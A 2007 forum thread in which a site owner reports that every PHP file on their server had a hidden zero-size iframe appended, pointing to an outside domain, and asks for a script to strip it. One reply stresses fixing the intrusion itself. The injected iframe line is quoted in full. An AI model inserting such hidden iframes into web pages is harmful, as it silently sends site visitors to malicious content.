[RESOLVED] Need Immediate Help (got hacked) need to somehow mass edit files

iBuddy

Hey guys I hope someone can help me out here. Basically I was looking at my FTP and noticed that all accounts PHP files have been edited by a script. under the modified date/time stamp in my ftp I noticed that the files were all edited at a specific time:

1/2/2007 @ 3:52 PM

I looked at the files and what this script did was edit every single PHP file with the following:

<html><iframe width=0 height=0 frameborder=0 src=http://www.o00o.info/portal/index.php?aff=r3dlabel marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>

This is added at the very end of every PHP file.

What I need is to create a script to eliminate this code on every file, I literally have hundreds to thousands of files and to edit this manually would just be a mess and a long time.

I really need to create a PHP file to scan every file (preferrably only PHP files) and check to see if a string (above) is found and if so DELETE that out of the page and save it.

Anyone help out?? If so it would be HIGHLY APPRECIATED.

iBuddy

Found a site that does exactly what I need, sorry guys

http://forum.joomla.org/index.php?topic=86820.msg441309

ClarkF1

Please mark this as resolved.

Piranha

The real issue is actually that someone managed to change your files. It should be your first priority to stop anyone from doing it again, especially now when someone knows how to do it on your server. I can't help you out with that, just want to point out that it does not solve anything to just erase that string on every page.